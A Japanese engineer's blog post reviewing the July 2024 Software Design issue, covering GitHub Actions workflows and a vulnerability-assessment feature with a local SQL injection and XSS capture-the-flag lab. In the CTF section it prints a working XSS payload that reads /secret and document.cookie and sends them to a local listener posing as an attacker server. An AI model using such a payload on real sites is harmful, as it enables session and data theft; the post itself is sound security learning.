Penpen7のブログ

Penpen7のエンジニアブログ

📚 Software Design 7月号 感想

はじめに

  • 2024/06/18発売のSoftware Design 7月号の感想及び所感を記述したものになります。
  • 購入はこちらから!

第1特集GitHub Actions実践講座CI/CDの理想を実現するために

第1章:GitHub Actionsの基本技術用語と定義ファイルの書き方…… 佐藤 礼於

  • 基本的な内容だったので割愛
  • プライベートレポジトリでも月2000分使えるのはありがたいですよね

第2章:CI/CD実現ハンズオン静的解析からコンテナレジストリへのプッシュまで…… 高見 諒

https://github.com/Penpen7/softwaredesign-cicd-handson

  • testコマンドでzオプションを使用すると文字列があるときに異常終了

    • go fmt -lはフォーマットが正しくないファイルを出力するのでtestコマンドと組み合わせるとフォーマットされていないときにエラーを出せる
    • go fmtにはcheck的なオプションはないのね
  • ghcr使ったことなかったけど、docker loginしさえすれば簡単に使えるのか

    • プライベートレポジトリでの制限はどれくらいあるんだろう
  • 自分のユーザー名が大文字になっており、レポジトリ名に大文字が含まれるためbuildできず…

    • GitHub Actions内で大文字を小文字に変換して回避

      • 様々回避する方法があるが、ワークフローの機能だけで文字列処理できるか分からず…
      run: echo "::set-output name=lower_repo::$(echo $GITHUB_REPOSITORY | tr '[:upper:]' '[:lower:]')"
      
      diff --git a/.github/workflows/cd.yml b/.github/workflows/cd.yml
      index 7733a73..ab9c7ce 100644
      --- a/.github/workflows/cd.yml
      +++ b/.github/workflows/cd.yml
      @@ -13,8 +13,12 @@ jobs:
           steps:
             - uses: actions/checkout@v4
             - name: Container registry に認証する
      -        run: echo "${{ secrets.GITHUB_TOKEN }}" ¦ docker login ghcr.io -u ${{ github.actor }} --password-stdin
      +        run: echo "${{ secrets.GITHUB_TOKEN }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin
             - name: Docker ビルドを実行する
      -        run: docker build -t ghcr.io/${{ github.repository }}:latest .
      +        run: docker build -t ghcr.io/${REPOSITORY,,}:latest .
      +        env:
      +          REPOSITORY: ${{ github.repository }}
             - name: Docker イメージをプッシュする
      -        run: docker push ghcr.io/${{ github.repository }}:latest
      +        run: docker push ghcr.io/${REPOSITORY,,}:latest
      +        env:
      +          REPOSITORY: ${{ github.repository }}
      
  • ビルドしたらpackageに表示されるようになった

    • イメージのCPUアーキテクチャは表示されないんだな

    • docker pullしたらamdらしい

      docker image inspect 36f6665eb1da | grep Architecture                                                                                          ✔  naoki ▓▒░
              "Architecture": "amd64",
      
    • armにするにはQEMUなどでビルドする必要がありそう

第3章:実運用で求められる機能ワークフローの制御,高速化,セキュリティなど…… 加瀬 健太,谷 昌典

  • コンテキスト
    • 様々な情報へアクセスできる
    • 毎回調べて迷いがちな部分
  • ジョブの間の情報の受け渡しはactions/download-artifactとactions/upload-artifactを使用する
  • always(), success(), failure()関数も初知り
  • キャッシュ
    • Rustではビルドに長時間かかるのでGitHub Actionsでキャッシュを効かせるのは必須ですね
    • actions/cacheでキャッシュを効かせる際にはkeyに注意する
      • OS、CPUアーキテクチャ${{ runner.os }}もキーに入れるといいのは初しり
  • トリガー
    • issueにラベルをつけると良い
      • コストがかかる処理を手動実行させるのにいいらしいので活用してみたい
    • スケジュール実行
      • 日本標準時ではなくUTCなのに注意
      • 5分間隔なので定刻に実行されない
    • 手動実行(workflow_dispatch)
      • これは業務でも大変お世話になっています
    • さらに細かいトリガーの設定
      • pathsはモノレポで設定が必須になりそう
    • まだまだたくさんあるらしいのでドキュメントを眺めてみよう
  • ルールセット
    • これを設定するだけで開発がカオスにならなくて済む
    • 機能としては強力なので、チーム開発の際には必ず有効にしておきたいところ
  • GitHub Actionsの権限
  • OIDC
    • Subject claimに何が入ってくるか調べるのが大変なのが悩みどころ
  • セキュリティ
    • インジェクション
      • 一旦環境変数に入れると良い…なるほど…
    • バージョンを設定する
      • usesのactionの後に@でgitのコミットハッシュを入れられるんですね
      • これもやってみよう

第4章:大規模開発におけるGitHub Actionsの課題と解決策便利機能の使いどころ・注意点…… 三村 遼

  • ジョブコンテナ

    • コンテナ内でジョブを実行可能
  • サービスコンテナ

    • ジョブの開始時に立ち上げるコンテナ
    • わざわざjobの中でdockerの操作を行わなくてもコンテナを立ち上げてくれるということだろうか
    • docker-composeとGitHub Actionsのワークフローのファイルで二重管理にならないか気になるところ
    • credentialに認証情報を入れておくとそれを使ってpullしてくれるのでpull rate limitの緩和になるらしい
  • GitHub-hostedランナー

    • GitHub上が提供してくれるランナー
    • つよつよなやつを使いたいときには課金してlargerランナーを使用する
    • 基本はこっちっすね
    • largerはパブリックでも課金されることに注意
  • self-hostedランナー

    • ユーザーが用意したコンピューティングリソースを使用してジョブを実行
    • メンテコストがかかる
    • GHESの場合はこっちを選択するしかない
    • 特殊な要件・高スペックなど
  • 下に表でまとめてみた

    GitHub-hostedランナー self-hostedランナー
    メンテナンスコスト
    (ワークフローの作成に集中できる) ×
    (自分で管理する必要あり)
    カスタマイズ性
    (スペックが増強されカスタマイズ性に優れたlargerランナーがあり、決められた範囲でカスタマイズできる)
    (ユーザーが用意した環境で実行できる)
    セキュリティ
    (ただしワークフローでのインジェクション等には当然注意する必要がある)
    (GitHub-hostedランナーより注意して使用する。Kubernetesを用いて問題を緩和することもできる。)
  • matrix strategy

    • クロスコンパイルする時とかに便利
    • 動的にジョブを構築する方法もある
      • matrixにjsonを突っ込めるのか〜なるほど
  • GITHUB_TOKENの制限

    • 少し込み入ったことをやろうと思うとパーソナルアクセストークンを使わざるを得ない…
      • トークンを払い出す人に属人化するのとローテーションなどトークン管理が面倒
    • ここら辺どうにかならないかなという気持ち
  • キャッシュ制限でキャッシュが消えるのあるあるですね

    • actions/cache/restoreを使えばキャッシュを保存しないらしい
      • これいいっすね…使ってみよう
      • mainブランチの時のみ保存するコードも書いてあるので使ってみよう
  • キャッシュにもブランチレベルのスコープがあるので注意

第5章:大規模開発におけるワークフロー設計保守性や運用面の要件に応えるためのテクニック…… 平木場 風太

  • ここでやった内容を思い出した

https://www.youtube.com/watch?v=mKvSZbFkEFI

  • ワークフローをDRY(Don’t Repeat Yourself)にする話
  • 再利用可能にするには二つの方法がある
    • Custom actions
      • ジョブから切り出して実行可能
      • Docker container actions, JavaScript actions, Composite actions
      • .github/actions/~に置く
    • Reusable workflows
      • 単体でも実行可能
      • ワークフロー、ジョブ特有の機能を使用可能
  • ワークフローファイルの命名規則についても例が書いてあってありがたい
  • typesを使用すればきめ細かくトリガーすることが可能
  • 定期実行時の制約を避けるためにトリガーをGitHub ActionsではなくAWS Lambdaなどの外部サービスを使用すればよいというwork aroundは勉強になった
  • 必須ステータスチェックとジョブのスキップの両立
    • 必須ステータスチェックに指定したジョブは実行されないと通過しないので工夫が必要
    • ステップ内で頑張らないといけないのは微妙っすね…
  • キャッシュで失敗したテストを記録するのは賢いやり方だなと思った

第2特集脆弱性診断入門脆弱性の発見手法と対策アプローチを身につけよう

第1章:昨今のセキュリティ事情と対策の基礎知識リスクと向き合い,必要な対策を理解する…… 松本 隆則

  • ニコニコが攻撃されているのでホットな話題
  • 企業はもちろん個人も注意しないといけない話
    • 個人もルーターを乗っ取られて知らないうちにDDoSなどの攻撃に加担しているケースもありますもんねぇ…

第2章:脆弱性診断に必要な知識とスキル脅威に備えて対抗する力を磨く…… 松本 隆則

  • 診断には二種類
    • ブラックボックス診断
    • ホワイトボックス診断
  • いろんな脆弱性診断ツールがあるんですね

https://github.com/sullo/nikto

  • セキュリティエンジニアは問題は指摘するだけでなく解決に向けて協力する…セキュリティエンジニアと開発者だけでなくあらゆる関係に求められることかもですね
  • 以下の本は個人的に脆弱性はこうやって見つけるんだ〜こうやって攻撃するんだ〜というのを学ばせていただいた思い出

第3章:Webサイトの脆弱性を突く攻撃の具体例被害を防ぐための根本原因を突き止めて対策する…… 水野 沙理衣

  • クロスサイトスクリプティング、境界外書き込み、SQLインジェクションの順に報告の多い脆弱性になるらしい
    • インジェクション系の脆弱性は多いらしい…怖いっすね
  • 改めてSQLインジェクションとXSSの復習ができました

第4章:CTFに挑戦脆弱性の探し方と対策を実戦形式で理解しよう…… 養田 篤也

  • ハンズオン形式
  • 付属のdocker composeだとM1で起動しなかったので、platform: linux/amd64を追加し、Rosettaを有効にしました

https://github.com/y0d3n/intro-sqli

  • plaformを追加

    diff --git a/docker-compose.yml b/docker-compose.yml
    index 893dd4a..b8dab9c 100644
    --- a/docker-compose.yml
    +++ b/docker-compose.yml
    @@ -21,6 +21,7 @@ services:
           db:
             condition: service_healthy
       db:
    +    platform: linux/amd64
         image: mysql:5.7
         volumes:
           - ./init.sql:/docker-entrypoint-initdb.d/init.sql
    
  • docker composeで立ち上げた後にセグフォが発生したので、以下のサイトを参考にエミュレータをqemuからrosettaに変更

  • sudoを使ってdocker composeを立ち上げるよう雑誌では書いてあるが、特に不要だった

    docker compose up
    
    • linuxでは一般ユーザーをdockerグループに加えないとdockerを使用できない(=rootにならないといけない)ので、その人たちのためにsudoを書いてくれているのかなと予想
  • MySQL 8.0を使ってもらえるとarm用のイメージがあってdocker composeの修正が不要になるので大変ありがたいです

  • CTF形式で進めていく

    • Capture the Flagの略でセキュリティコンテストのことらしい
  • %20ってなんだ?

    • DBMSによっては—の後に空白スペースが必要らしい(へえ)
  • ORDER BYでカラム数を推測できるらしい

    • 謎解きみたい
  • ブラインドSQLインジェクションが何か理解できたかも

    • 結果は直接出てこないけど、成功したか失敗したかはわかるので、全探索で絞り込んでいく感じになるのね
  • cookieに関しては以下のような形で取って攻撃者サーバーに送れた

    http://localhost:8081/?name=<script>fetch("/secret").then((r)=>r.text()).then((t)=>fetch("http://localhost:9000?s="%2bt%2b"%26c="%2bdocument.cookie))</script>
    
  • セキュリティ対策の回避方法(文字数制限やimgのonerror)にこんなものあるんだという学びになった

  • コンテンツセキュリティポリシーとは?

    • XSSを対策するためのもの
    • 設定ミスに注意
    • CSP Evaluatorでチェックしよう
  • ここら辺のセキュリティ対策は学び続けないとダメですね

連載

ITエンジニア必須の最新用語解説【187】Oracle Database 23ai……杉山 貴章

  • あまりOracleには詳しくないですが、AI機能が入ってきているということであらゆるデータベースはAI系の機能が入ってくるんでしょうかね

万能IT技術研究所【26】赤外から紫外線まで!スマホで写す「見えない世界」――画像位置合わせ技術で分光画像の歪みを補正……万能IT技術研究所

ドメイン解体新書【6】DNSとプライバシー……谷口 元紀

  • 内容を見てPyCon 2024で炎上した件を思い出しました
  • DNSの名前解決できないと実質インターネットを使用できない状態にできるというのは通信の自由を犯しているということですよねぇ

ハピネスチームビルディング【28】モチベーション3.0を刺激するプラクティスを考えよう……小島 優介

  • モチベーション3.0…初耳…
    • ソフトウェア開発に対応する概念
    • 内発的動機づけ
  • 自立性、熟達、目的のどの欲求が強いか考える
  • いろいろ取り組んでいこう

エンジニアのためのやる気UPエクササイズ【23】30歳超えのエンジニアが筋トレをすべき理由……えくろプロテイン

  • どんどん筋肉量が落ちていく(怖
  • アミノ酸と炭水化物を摂取して筋トレするだけで筋トレ効果がめちゃくちゃ上がるのすごい
    • 最近リングフィットで筋肉をつけて行っているので参考にしたい
  • おすすめのプロテインも書いてあって本質情報でした

レガシーシステム攻略のプロセス【3】API Gatewayとサービスメッシュによるリクエスト制御……富永 良子,吉江 守弘,亀井 宏幸

  • API Gatewayを自社開発
    • Istioに一部機能を分担
  • コスト削減にもつながっている

まだ読めていない章

まとめ

普段からよく使っているGitHub Actionsの内容で早速使ってみたいと思えるようなものもありましたし、脆弱性診断のようになかなか手を出しにくい部分もバランスよく含まれていて今月号も大変勉強になりました。
来月号はLLM、CDNエッジの特集があるということで楽しみにしています!

© Penpen7